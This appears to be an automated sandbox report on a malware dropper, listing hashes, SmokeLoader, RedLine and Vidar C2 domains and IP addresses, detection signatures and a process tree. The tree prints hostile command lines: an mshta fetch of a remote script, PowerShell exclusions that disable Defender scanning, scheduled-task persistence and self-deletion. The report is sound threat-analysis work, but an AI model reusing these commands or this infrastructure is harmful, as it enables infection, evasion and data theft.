Resubmissions

15/10/2024, 15:36

241015-s1zlzasdkc 10

01/07/2024, 18:32

240701-w6yteawhmq 10

01/07/2024, 14:52

240701-r82wmaxdnd 10

01/07/2024, 14:52

240701-r8syqa1dpp 10

11/03/2024, 21:22

240311-z8dsssgg58 10

01/09/2021, 13:18

210901-5bmxjspa5s 10

01/09/2021, 13:04

210901-te4btfspqa 10

01/09/2021, 05:12

210901-4wnkwm1p3j 10

31/08/2021, 21:47

210831-41rp97dma2 10

Analysis

  • max time kernel
    144s
  • max time network
    1808s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    27/08/2021, 15:40

General

  • Target

    Setup (15).exe

  • Size

    631KB

  • MD5

    cb927513ff8ebff4dd52a47f7e42f934

  • SHA1

    0de47c02a8adc4940a6c18621b4e4a619641d029

  • SHA256

    fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f

  • SHA512

    988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforaugust1.xyz/

http://readinglistforaugust2.xyz/

http://readinglistforaugust3.xyz/

http://readinglistforaugust4.xyz/

http://readinglistforaugust5.xyz/

http://readinglistforaugust6.xyz/

http://readinglistforaugust7.xyz/

http://readinglistforaugust8.xyz/

http://readinglistforaugust9.xyz/

http://readinglistforaugust10.xyz/

http://readinglistforaugust1.site/

http://readinglistforaugust2.site/

http://readinglistforaugust3.site/

http://readinglistforaugust4.site/

http://readinglistforaugust5.site/

http://readinglistforaugust6.site/

http://readinglistforaugust7.site/

http://readinglistforaugust8.site/

http://readinglistforaugust9.site/

http://readinglistforaugust10.site/

rc4.i32
rc4.i32

Extracted

Family

redline

C2

205.185.119.191:18846

Extracted

Family

redline

Botnet

27.08

C2

95.181.172.100:55640

Extracted

Family

redline

Botnet

supertraff

C2

135.148.139.222:1494

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 29 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 27 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 37 IoCs
  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup (15).exe
    "C:\Users\Admin\AppData\Local\Temp\Setup (15).exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe
      "C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      PID:852
      • C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe
        "C:\Users\Admin\Documents\gOqjIl6Dpedpi7GdO6TzBndx.exe"
        3⤵
        • Executes dropped EXE
        • Checks SCSI registry key(s)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        PID:2304
    • C:\Users\Admin\Documents\pBVD1mizW1In6sSINWw3Qvju.exe
      "C:\Users\Admin\Documents\pBVD1mizW1In6sSINWw3Qvju.exe"
      2⤵
      • Executes dropped EXE
      PID:1496
    • C:\Users\Admin\Documents\mbhEEukiP_UrA7GI05R9ych3.exe
      "C:\Users\Admin\Documents\mbhEEukiP_UrA7GI05R9ych3.exe"
      2⤵
      • Executes dropped EXE
      PID:1392
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Ou3tPfureT.exe"
        3⤵
          PID:2324
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
            4⤵
              PID:980
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2324 -s 92
              4⤵
              • Program crash
              PID:3400
        • C:\Users\Admin\Documents\dmDOxcewXSdZ3vFj4favq_5P.exe
          "C:\Users\Admin\Documents\dmDOxcewXSdZ3vFj4favq_5P.exe"
          2⤵
          • Executes dropped EXE
          PID:1376
        • C:\Users\Admin\Documents\o0KfgPtgpxYrXrYMy2LIrYw9.exe
          "C:\Users\Admin\Documents\o0KfgPtgpxYrXrYMy2LIrYw9.exe"
          2⤵
          • Executes dropped EXE
          PID:1164
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c taskkill /im "o0KfgPtgpxYrXrYMy2LIrYw9.exe" /f & erase "C:\Users\Admin\Documents\o0KfgPtgpxYrXrYMy2LIrYw9.exe" & exit
            3⤵
              PID:924
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /im "o0KfgPtgpxYrXrYMy2LIrYw9.exe" /f
                4⤵
                • Kills process with taskkill
                PID:1560
          • C:\Users\Admin\Documents\TDe4MC8sSAiIxr67v8bJLvfG.exe
            "C:\Users\Admin\Documents\TDe4MC8sSAiIxr67v8bJLvfG.exe"
            2⤵
            • Executes dropped EXE
            PID:1620
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1620 -s 780
              3⤵
              • Program crash
              PID:1768
          • C:\Users\Admin\Documents\xzwzluHcN1m0HLHnYUMr0bsb.exe
            "C:\Users\Admin\Documents\xzwzluHcN1m0HLHnYUMr0bsb.exe"
            2⤵
            • Executes dropped EXE
            PID:1884
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 124
              3⤵
              • Program crash
              PID:2376
          • C:\Users\Admin\Documents\8cX5okk1NLmZtdXo03615E6K.exe
            "C:\Users\Admin\Documents\8cX5okk1NLmZtdXo03615E6K.exe"
            2⤵
            • Executes dropped EXE
            PID:1632
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
              3⤵
              • Creates scheduled task(s)
              PID:2540
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
              3⤵
              • Creates scheduled task(s)
              PID:2560
          • C:\Users\Admin\Documents\po5wip2c2Meqm9YoJLgPyuSa.exe
            "C:\Users\Admin\Documents\po5wip2c2Meqm9YoJLgPyuSa.exe"
            2⤵
            • Executes dropped EXE
            • Checks BIOS information in registry
            • Checks whether UAC is enabled
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            PID:1788
          • C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe
            "C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe"
            2⤵
            • Executes dropped EXE
            PID:1796
            • C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe
              "C:\Users\Admin\Documents\wyZyUk8jNfJL6WdQXqH6G4rI.exe"
              3⤵
                PID:3104
            • C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe
              "C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe"
              2⤵
              • Executes dropped EXE
              PID:1644
              • C:\Users\Admin\AppData\Local\Temp\24c4d863-8373-4431-9517-b41f7040d2c9\AdvancedRun.exe
                "C:\Users\Admin\AppData\Local\Temp\24c4d863-8373-4431-9517-b41f7040d2c9\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\24c4d863-8373-4431-9517-b41f7040d2c9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                3⤵
                  PID:2988
                  • C:\Users\Admin\AppData\Local\Temp\24c4d863-8373-4431-9517-b41f7040d2c9\AdvancedRun.exe
                    "C:\Users\Admin\AppData\Local\Temp\24c4d863-8373-4431-9517-b41f7040d2c9\AdvancedRun.exe" /SpecialRun 4101d8 2988
                    4⤵
                      PID:1552
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe" -Force
                    3⤵
                      PID:2552
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\9UZIF8zhw32qIuObBuUMikjW.exe" -Force
                      3⤵
                        PID:1988
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe
                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe
                        3⤵
                          PID:3068
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
                          3⤵
                            PID:2508
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            3⤵
                              PID:3080
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                              C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                              3⤵
                                PID:3196
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
                                3⤵
                                  PID:3176
                              • C:\Users\Admin\Documents\ZAitB7XDFmK9fnow_WIru5XD.exe
                                "C:\Users\Admin\Documents\ZAitB7XDFmK9fnow_WIru5XD.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1508
                              • C:\Users\Admin\Documents\1ODxknLzYsK6Ie5b8QMo4sKE.exe
                                "C:\Users\Admin\Documents\1ODxknLzYsK6Ie5b8QMo4sKE.exe"
                                2⤵
                                • Executes dropped EXE
                                PID:1360
                                • C:\Users\Admin\AppData\Local\Temp\j44rHAF6.com
                                  "C:\Users\Admin\AppData\Local\Temp\j44rHAF6.com"
                                  3⤵
                                    PID:2824
                                    • C:\Windows\system32\cmd.exe
                                      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\93B7.tmp\93B8.tmp\93B9.bat C:\Users\Admin\AppData\Local\Temp\j44rHAF6.com"
                                      4⤵
                                        PID:2948
                                    • C:\Users\Admin\AppData\Local\Temp\XxaQo3Yp.com
                                      "C:\Users\Admin\AppData\Local\Temp\XxaQo3Yp.com"
                                      3⤵
                                        PID:2972
                                      • C:\Users\Admin\AppData\Local\Temp\vdOBKa8e.com
                                        "C:\Users\Admin\AppData\Local\Temp\vdOBKa8e.com"
                                        3⤵
                                          PID:2176
                                          • C:\Windows\System32\mshta.exe
                                            "C:\Windows\System32\mshta.exe" https://kmsauto.us/Encoding.txt
                                            4⤵
                                              PID:2648
                                        • C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe
                                          "C:\Users\Admin\Documents\ErRbAgYahpoeJL5DHlqEZtBa.exe"
                                          2⤵
                                            PID:2000
                                          • C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                            "C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe"
                                            2⤵
                                            • Executes dropped EXE
                                            PID:1636
                                            • C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                              C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                              3⤵
                                                PID:2792
                                              • C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                3⤵
                                                  PID:2856
                                                • C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                  C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                  3⤵
                                                    PID:2912
                                                  • C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                    C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                    3⤵
                                                      PID:2936
                                                    • C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                      C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                      3⤵
                                                        PID:3052
                                                      • C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                        C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                        3⤵
                                                          PID:1104
                                                        • C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                          C:\Users\Admin\Documents\0ES0KQEekyd6YUx7YOYdvFTa.exe
                                                          3⤵
                                                            PID:2232
                                                        • C:\Users\Admin\Documents\B7XsfrCgGskHjfOWPDuwxrhr.exe
                                                          "C:\Users\Admin\Documents\B7XsfrCgGskHjfOWPDuwxrhr.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:976
                                                        • C:\Users\Admin\Documents\2q6Ndnto5EcO_0j6UEoLSCcJ.exe
                                                          "C:\Users\Admin\Documents\2q6Ndnto5EcO_0j6UEoLSCcJ.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:584
                                                        • C:\Users\Admin\Documents\NpCwsI4X5obqbW9Tq13MRejI.exe
                                                          "C:\Users\Admin\Documents\NpCwsI4X5obqbW9Tq13MRejI.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:1180
                                                        • C:\Users\Admin\Documents\olCL_mZJ2zy2nmb4ccvSu9kg.exe
                                                          "C:\Users\Admin\Documents\olCL_mZJ2zy2nmb4ccvSu9kg.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:336
                                                        • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                          "C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe"
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:320
                                                          • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                            C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                            3⤵
                                                              PID:2964
                                                            • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                              C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                              3⤵
                                                                PID:3036
                                                              • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                3⤵
                                                                  PID:624
                                                                • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                  C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                  3⤵
                                                                    PID:1004
                                                                  • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                    C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                    3⤵
                                                                      PID:2504
                                                                    • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                      C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                      3⤵
                                                                        PID:3004
                                                                      • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                        C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                        3⤵
                                                                          PID:2892
                                                                        • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                          C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                          3⤵
                                                                            PID:2496
                                                                          • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                            C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                            3⤵
                                                                              PID:2800
                                                                            • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                              C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                              3⤵
                                                                                PID:2352
                                                                              • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                3⤵
                                                                                  PID:2336
                                                                                • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                  C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                  3⤵
                                                                                    PID:1116
                                                                                  • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                    C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                    3⤵
                                                                                      PID:596
                                                                                    • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                      C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                      3⤵
                                                                                        PID:800
                                                                                      • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                        C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                        3⤵
                                                                                          PID:2260
                                                                                        • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                          C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                          3⤵
                                                                                            PID:1496
                                                                                          • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                            C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                            3⤵
                                                                                              PID:2952
                                                                                            • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                              C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                              3⤵
                                                                                                PID:3156
                                                                                              • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                3⤵
                                                                                                  PID:3232
                                                                                                • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                  C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                  3⤵
                                                                                                    PID:3308
                                                                                                  • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                    C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                    3⤵
                                                                                                      PID:3504
                                                                                                    • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                      C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                      3⤵
                                                                                                        PID:3544
                                                                                                      • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                        C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                        3⤵
                                                                                                          PID:3628
                                                                                                        • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                          C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                          3⤵
                                                                                                            PID:3936
                                                                                                          • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                            C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                            3⤵
                                                                                                              PID:4072
                                                                                                            • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                              C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                              3⤵
                                                                                                                PID:2104
                                                                                                              • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                3⤵
                                                                                                                  PID:348
                                                                                                                • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                  C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                  3⤵
                                                                                                                    PID:1744
                                                                                                                  • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                    C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                    3⤵
                                                                                                                      PID:3124
                                                                                                                    • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                      C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                      3⤵
                                                                                                                        PID:3472
                                                                                                                      • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                        C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                        3⤵
                                                                                                                          PID:3500
                                                                                                                        • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                          C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                          3⤵
                                                                                                                            PID:2468
                                                                                                                          • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                            C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                            3⤵
                                                                                                                              PID:2528
                                                                                                                            • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                              C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                              3⤵
                                                                                                                                PID:3752
                                                                                                                              • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                3⤵
                                                                                                                                  PID:2352
                                                                                                                                • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                  C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                  3⤵
                                                                                                                                    PID:4008
                                                                                                                                  • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                    C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                    3⤵
                                                                                                                                      PID:3448
                                                                                                                                    • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                      C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                      3⤵
                                                                                                                                        PID:4004
                                                                                                                                      • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                        C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                        3⤵
                                                                                                                                          PID:3044
                                                                                                                                        • C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                          C:\Users\Admin\Documents\vG6WKIA4_3V1Gixf8Dq6FfZe.exe
                                                                                                                                          3⤵
                                                                                                                                            PID:3776
                                                                                                                                        • C:\Users\Admin\Documents\GqffZ5TQWAhsazXvza6aeURV.exe
                                                                                                                                          "C:\Users\Admin\Documents\GqffZ5TQWAhsazXvza6aeURV.exe"
                                                                                                                                          2⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:1372
                                                                                                                                        • C:\Users\Admin\Documents\ZN03h586kRVTSEMiGfIeh2DP.exe
                                                                                                                                          "C:\Users\Admin\Documents\ZN03h586kRVTSEMiGfIeh2DP.exe"
                                                                                                                                          2⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:1696
                                                                                                                                        • C:\Users\Admin\Documents\DA7UYliWUCQjfihW0xT6nybd.exe
                                                                                                                                          "C:\Users\Admin\Documents\DA7UYliWUCQjfihW0xT6nybd.exe"
                                                                                                                                          2⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:680
                                                                                                                                        • C:\Users\Admin\Documents\ugmvtap6GpHOVRwOJdBGQKYH.exe
                                                                                                                                          "C:\Users\Admin\Documents\ugmvtap6GpHOVRwOJdBGQKYH.exe"
                                                                                                                                          2⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:1676
                                                                                                                                        • C:\Users\Admin\Documents\XdBtUemVgZXIUjzlPbdvbddv.exe
                                                                                                                                          "C:\Users\Admin\Documents\XdBtUemVgZXIUjzlPbdvbddv.exe"
                                                                                                                                          2⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:1516
                                                                                                                                        • C:\Users\Admin\Documents\FZTZ9kd5uXXF4bDpQs5ueRSg.exe
                                                                                                                                          "C:\Users\Admin\Documents\FZTZ9kd5uXXF4bDpQs5ueRSg.exe"
                                                                                                                                          2⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:1452
                                                                                                                                        • C:\Users\Admin\Documents\GuMSkj6VuBCmDB8bCiQNL_ol.exe
                                                                                                                                          "C:\Users\Admin\Documents\GuMSkj6VuBCmDB8bCiQNL_ol.exe"
                                                                                                                                          2⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:992
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\8DFD.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\8DFD.exe
                                                                                                                                        1⤵
                                                                                                                                          PID:4052
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\4480.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\4480.exe
                                                                                                                                          1⤵
                                                                                                                                            PID:3608
                                                                                                                                          • C:\Windows\system32\taskeng.exe
                                                                                                                                            taskeng.exe {470456BE-802C-47CB-82D2-A4921C39E21E} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
                                                                                                                                            1⤵
                                                                                                                                              PID:3344
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\ctfidib
                                                                                                                                                C:\Users\Admin\AppData\Roaming\ctfidib
                                                                                                                                                2⤵
                                                                                                                                                  PID:2672
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\ctfidib
                                                                                                                                                    C:\Users\Admin\AppData\Roaming\ctfidib
                                                                                                                                                    3⤵
                                                                                                                                                      PID:2244
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\ctfidib
                                                                                                                                                    C:\Users\Admin\AppData\Roaming\ctfidib
                                                                                                                                                    2⤵
                                                                                                                                                      PID:804
                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\ctfidib
                                                                                                                                                        C:\Users\Admin\AppData\Roaming\ctfidib
                                                                                                                                                        3⤵
                                                                                                                                                          PID:4240
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2925.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2925.exe
                                                                                                                                                      1⤵
                                                                                                                                                        PID:1352
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\DD19.exe
